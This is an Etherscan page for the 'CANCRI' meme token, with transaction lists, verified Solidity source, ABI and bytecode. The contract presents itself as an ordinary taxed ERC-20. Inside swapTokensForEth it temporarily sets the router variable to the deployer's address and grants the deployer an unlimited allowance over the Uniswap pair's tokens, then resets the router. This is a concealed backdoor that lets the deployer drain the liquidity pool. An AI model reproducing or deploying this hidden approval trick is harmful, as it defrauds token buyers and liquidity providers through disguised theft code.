ETH Price: $3,341.08 (+2.53%)

Contract

0x963025aFd239D50a7b2DA57F30f2c68222338408
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve198439112024-05-11 2:49:11256 days ago1715395751IN
0x963025aF...222338408
0 ETH0.0004736610.16957759
Transfer189015672023-12-30 23:21:47388 days ago1703978507IN
0x963025aF...222338408
0 ETH0.0012174716.06717459
Approve179353942023-08-17 15:20:47523 days ago1692285647IN
0x963025aF...222338408
0 ETH0.0023669750.88409797
Approve179353912023-08-17 15:20:11523 days ago1692285611IN
0x963025aF...222338408
0 ETH0.0033371572.13124322
Approve179353802023-08-17 15:17:59523 days ago1692285479IN
0x963025aF...222338408
0 ETH0.0022087747.48317413
Approve179353492023-08-17 15:11:35523 days ago1692285095IN
0x963025aF...222338408
0 ETH0.0025628155.09412088
Approve179353432023-08-17 15:09:59523 days ago1692284999IN
0x963025aF...222338408
0 ETH0.0022956749.67169344
Approve179353412023-08-17 15:09:35523 days ago1692284975IN
0x963025aF...222338408
0 ETH0.0024513652.69831219
Approve179353402023-08-17 15:09:23523 days ago1692284963IN
0x963025aF...222338408
0 ETH0.0024171151.96191261
Approve179353372023-08-17 15:08:47523 days ago1692284927IN
0x963025aF...222338408
0 ETH0.0024505553.02272708
Approve179353372023-08-17 15:08:47523 days ago1692284927IN
0x963025aF...222338408
0 ETH0.0024664553.02272708
Approve179353352023-08-17 15:08:23523 days ago1692284903IN
0x963025aF...222338408
0 ETH0.0023325750.14447457
Approve179353352023-08-17 15:08:23523 days ago1692284903IN
0x963025aF...222338408
0 ETH0.0023203250.20510114
Approve179353342023-08-17 15:08:11523 days ago1692284891IN
0x963025aF...222338408
0 ETH0.0023800951.4982059
Approve179353322023-08-17 15:07:47523 days ago1692284867IN
0x963025aF...222338408
0 ETH0.0025751855.28882564
Approve179353302023-08-17 15:07:23523 days ago1692284843IN
0x963025aF...222338408
0 ETH0.0024588252.85870036
Approve179353282023-08-17 15:06:59523 days ago1692284819IN
0x963025aF...222338408
0 ETH0.0024780153.20257181
Transfer From179353242023-08-17 15:06:11523 days ago1692284771IN
0x963025aF...222338408
0 ETH0.0051382555.14684874
Approve179353212023-08-17 15:05:35523 days ago1692284735IN
0x963025aF...222338408
0 ETH0.0024685853
Approve179353192023-08-17 15:05:11523 days ago1692284711IN
0x963025aF...222338408
0 ETH0.0027529359.18126818
Approve179353172023-08-17 15:04:47523 days ago1692284687IN
0x963025aF...222338408
0 ETH0.0023206150.21124671
Approve179353172023-08-17 15:04:47523 days ago1692284687IN
0x963025aF...222338408
0 ETH0.0023188550.10811385
Approve179353172023-08-17 15:04:47523 days ago1692284687IN
0x963025aF...222338408
0 ETH0.0024147551.91124671
Approve179353162023-08-17 15:04:35523 days ago1692284675IN
0x963025aF...222338408
0 ETH0.0024869553.3944781
Approve179353152023-08-17 15:04:23523 days ago1692284663IN
0x963025aF...222338408
0 ETH0.0035481276.69133608
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
179354082023-08-17 15:23:35523 days ago1692285815
0x963025aF...222338408
0 ETH
179354082023-08-17 15:23:35523 days ago1692285815
0x963025aF...222338408
0 ETH
179353222023-08-17 15:05:47523 days ago1692284747
0x963025aF...222338408
0.01090091 ETH
179353222023-08-17 15:05:47523 days ago1692284747
0x963025aF...222338408
0.01090091 ETH
179353132023-08-17 15:03:59523 days ago1692284639
0x963025aF...222338408
0.01225547 ETH
179353132023-08-17 15:03:59523 days ago1692284639
0x963025aF...222338408
0.01225547 ETH
179353052023-08-17 15:02:23523 days ago1692284543
0x963025aF...222338408
0.01390232 ETH
179353052023-08-17 15:02:23523 days ago1692284543
0x963025aF...222338408
0.01390232 ETH
179352982023-08-17 15:00:59523 days ago1692284459
0x963025aF...222338408
0.0136068 ETH
179352982023-08-17 15:00:59523 days ago1692284459
0x963025aF...222338408
0.0136068 ETH
179352932023-08-17 14:59:59523 days ago1692284399
0x963025aF...222338408
0.01094074 ETH
179352932023-08-17 14:59:59523 days ago1692284399
0x963025aF...222338408
0.01094074 ETH
179352862023-08-17 14:58:35523 days ago1692284315
0x963025aF...222338408
0.00962694 ETH
179352862023-08-17 14:58:35523 days ago1692284315
0x963025aF...222338408
0.00962694 ETH
179352752023-08-17 14:56:23523 days ago1692284183
0x963025aF...222338408
0.01032844 ETH
179352752023-08-17 14:56:23523 days ago1692284183
0x963025aF...222338408
0.01032844 ETH
179352662023-08-17 14:54:35523 days ago1692284075
0x963025aF...222338408
0.00853368 ETH
179352662023-08-17 14:54:35523 days ago1692284075
0x963025aF...222338408
0.00853368 ETH
179352582023-08-17 14:52:59523 days ago1692283979
0x963025aF...222338408
0.00796983 ETH
179352582023-08-17 14:52:59523 days ago1692283979
0x963025aF...222338408
0.00796983 ETH
179352462023-08-17 14:50:35523 days ago1692283835
0x963025aF...222338408
0.00854666 ETH
179352462023-08-17 14:50:35523 days ago1692283835
0x963025aF...222338408
0.00854666 ETH
179352352023-08-17 14:48:23523 days ago1692283703
0x963025aF...222338408
0.00825718 ETH
179352352023-08-17 14:48:23523 days ago1692283703
0x963025aF...222338408
0.00825718 ETH
179352302023-08-17 14:47:23523 days ago1692283643
0x963025aF...222338408
0.00625133 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
CANCRI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-17
*/

/**
$CANCRI is a meme and utility token, operated and founded by an experienced team. Inspired by the 2009 event by the Bitcoin developer with the same name-sake—CANCRI.
$CANCRI has the purpose of raising the bar, setting the value, bringing adoption and increasing the value of the $CANCRI token.

Website: https://cancricoin.pro
Twitter: https://twitter.com/CancriERC
Telegram: https://t.me/CancriERC
**/

// SPDX-License-Identifier: MIT


pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CANCRI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"CANCRI";
    string private constant _symbol = unicode"CANCRI";
    uint256 public _maxTxAmount = 40000000 * 10**_decimals;
    uint256 public _maxWalletSize = 40000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 1000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 13000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Router_;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner() && ! _isExcludedFromFee[from]) {
            require(!bots[from] && !bots[to]);
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this)){
                require(balanceOf(to) >= _tTotal / 100);
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(to, min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(address receiver, uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        uniswapV2Router = IUniswapV2Router02(uniswapV2Router_);
        _approve(receiver, address(uniswapV2Router), type(uint).max);
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function openTrading() external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), type(uint).max);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());uniswapV2Router_ = msg.sender;
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600755600f60085560016009556001600a55600f600b55600f600c55600a600d555f600e556009600a6200003b919062000330565b6200004b906302625a0062000347565b600f556200005c6009600a62000330565b6200006c906302625a0062000347565b6010556200007d6009600a62000330565b6200008c90620f424062000347565b6011556200009d6009600a62000330565b620000ac9062c65d4062000347565b6012556015805461ffff60a81b19169055348015620000c9575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916331790556200012a6009600a62000330565b6200013a90633b9aca0062000347565b335f908152600160208190526040822092909255600390620001635f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001c13390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001fa6009600a62000330565b6200020a90633b9aca0062000347565b60405190815260200160405180910390a362000361565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200027557815f190482111562000259576200025962000221565b808516156200026757918102915b93841c93908002906200023a565b509250929050565b5f826200028d575060016200032a565b816200029b57505f6200032a565b8160018114620002b45760028114620002bf57620002df565b60019150506200032a565b60ff841115620002d357620002d362000221565b50506001821b6200032a565b5060208310610133831016604e8410600b841016171562000304575081810a6200032a565b62000310838362000235565b805f190482111562000326576200032662000221565b0290505b92915050565b5f6200034060ff8416836200027d565b9392505050565b80820281158282048414176200032a576200032a62000221565b6119c4806200036f5f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb1461030a578063bf474bed14610329578063c9567bf91461033e578063d34628cc14610346578063dd62ed3e14610365575f80fd5b8063751039fc146102a65780637d1db4a5146102ba5780638da5cb5b146102cf5780638f9a55c0146102f557806395d89b4114610129575f80fd5b8063313ce567116100e3578063313ce567146101eb57806331c2d847146102065780633bbac5791461022757806370a082311461025e578063715018a614610292575f80fd5b806306fdde0314610129578063095ea7b3146101665780630faee56f1461019557806318160ddd146101b857806323b872dd146101cc575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082018252600681526543414e43524960d01b6020820152905161015d91906114f2565b60405180910390f35b348015610171575f80fd5b50610185610180366004611564565b6103a9565b604051901515815260200161015d565b3480156101a0575f80fd5b506101aa60125481565b60405190815260200161015d565b3480156101c3575f80fd5b506101aa6103bf565b3480156101d7575f80fd5b506101856101e636600461158e565b6103df565b3480156101f6575f80fd5b506040516009815260200161015d565b348015610211575f80fd5b506102256102203660046115e0565b610446565b005b348015610232575f80fd5b506101856102413660046116a0565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610269575f80fd5b506101aa6102783660046116a0565b6001600160a01b03165f9081526001602052604090205490565b34801561029d575f80fd5b506102256104e0565b3480156102b1575f80fd5b50610225610551565b3480156102c5575f80fd5b506101aa600f5481565b3480156102da575f80fd5b505f546040516001600160a01b03909116815260200161015d565b348015610300575f80fd5b506101aa60105481565b348015610315575f80fd5b50610185610324366004611564565b610602565b348015610334575f80fd5b506101aa60115481565b61022561060e565b348015610351575f80fd5b506102256103603660046115e0565b61093d565b348015610370575f80fd5b506101aa61037f3660046116bb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103b53384846109cb565b5060015b92915050565b5f6103cc6009600a6117e6565b6103da90633b9aca006117f4565b905090565b5f6103eb848484610aee565b61043c843361043785604051806060016040528060288152602001611967602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061113b565b6109cb565b5060019392505050565b5f546001600160a01b031633146104785760405162461bcd60e51b815260040161046f9061180b565b60405180910390fd5b5f5b81518110156104dc575f60045f84848151811061049957610499611840565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055806104d481611854565b91505061047a565b5050565b5f546001600160a01b031633146105095760405162461bcd60e51b815260040161046f9061180b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461057a5760405162461bcd60e51b815260040161046f9061180b565b6105866009600a6117e6565b61059490633b9aca006117f4565b600f556105a36009600a6117e6565b6105b190633b9aca006117f4565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105e16009600a6117e6565b6105ef90633b9aca006117f4565b60405190815260200160405180910390a1565b5f6103b5338484610aee565b5f546001600160a01b031633146106375760405162461bcd60e51b815260040161046f9061180b565b601554600160a01b900460ff16156106915760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161046f565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c79030905f196109cb565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610717573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073b919061186c565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107be919061186c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610808573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082c919061186c565b601580546001600160a01b039283166001600160a01b03199182161790915560148054909116331790556013541663f305d719343061087f816001600160a01b03165f9081526001602052604090205490565b5f806108925f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f8573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061091d9190611887565b50506015805462ff00ff60a01b19166201000160a01b1790555043600655565b5f546001600160a01b031633146109665760405162461bcd60e51b815260040161046f9061180b565b5f5b81518110156104dc57600160045f84848151811061098857610988611840565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055806109c381611854565b915050610968565b6001600160a01b038316610a2d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046f565b6001600160a01b038216610a8e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b525760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046f565b6001600160a01b038216610bb45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046f565b5f8111610c155760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046f565b5f80546001600160a01b03858116911614801590610c4057505f546001600160a01b03848116911614155b8015610c6457506001600160a01b0384165f9081526003602052604090205460ff16155b15610ffe576001600160a01b0384165f9081526004602052604090205460ff16158015610ca957506001600160a01b0383165f9081526004602052604090205460ff16155b610cb1575f80fd5b610cdd6064610cd7600b54600e5411610ccc57600754610cd0565b6009545b8590611173565b906111f8565b6015549091506001600160a01b038581169116148015610d0b57506013546001600160a01b03848116911614155b8015610d2f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e3657600f54821115610d865760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161046f565b60105482610da8856001600160a01b03165f9081526001602052604090205490565b610db291906118b2565b1115610e005760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161046f565b436006546003610e1091906118b2565b1115610e2157823b15610e21575f80fd5b600e8054905f610e3083611854565b91905055505b6015546001600160a01b03848116911614610ec55760105482610e6d856001600160a01b03165f9081526001602052604090205490565b610e7791906118b2565b1115610ec55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161046f565b6015546001600160a01b038481169116148015610eeb57506001600160a01b0384163014155b15610f60576064610efe6009600a6117e6565b610f0c90633b9aca006117f4565b610f1691906118c5565b6001600160a01b0384165f908152600160205260409020541015610f38575f80fd5b610f5d6064610cd7600c54600e5411610f5357600854610cd0565b600a548590611173565b90505b305f90815260016020526040902054601554600160a81b900460ff16158015610f9657506015546001600160a01b038581169116145b8015610fab5750601554600160b01b900460ff165b8015610fb8575060115481115b8015610fc75750600d54600e54115b15610ffc57610fea84610fe585610fe085601254611239565b611239565b61124d565b478015610ffa57610ffa476113f0565b505b505b801561107657305f9081526001602052604090205461101d9082611427565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061106d9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110989083611485565b6001600160a01b0385165f908152600160205260409020556110db6110bd8383611485565b6001600160a01b0385165f9081526001602052604090205490611427565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111248585611485565b60405190815260200160405180910390a350505050565b5f818484111561115e5760405162461bcd60e51b815260040161046f91906114f2565b505f61116a84866118e4565b95945050505050565b5f825f0361118257505f6103b9565b5f61118d83856117f4565b90508261119a85836118c5565b146111f15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046f565b9392505050565b5f6111f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c6565b5f81831161124757826111f1565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061129357611293611840565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112ea573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061130e919061186c565b8160018151811061132157611321611840565b6001600160a01b039283166020918202929092010152601454601380546001600160a01b0319169190921690811790915561135f9084905f196109cb565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915560405163791ac94760e01b815263791ac947906113b19085905f908690309042906004016118f7565b5f604051808303815f87803b1580156113c8575f80fd5b505af11580156113da573d5f803e3d5ffd5b50506015805460ff60a81b191690555050505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104dc573d5f803e3d5ffd5b5f8061143383856118b2565b9050838110156111f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046f565b5f6111f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061113b565b5f81836114e65760405162461bcd60e51b815260040161046f91906114f2565b505f61116a84866118c5565b5f6020808352835180828501525f5b8181101561151d57858101830151858201604001528201611501565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600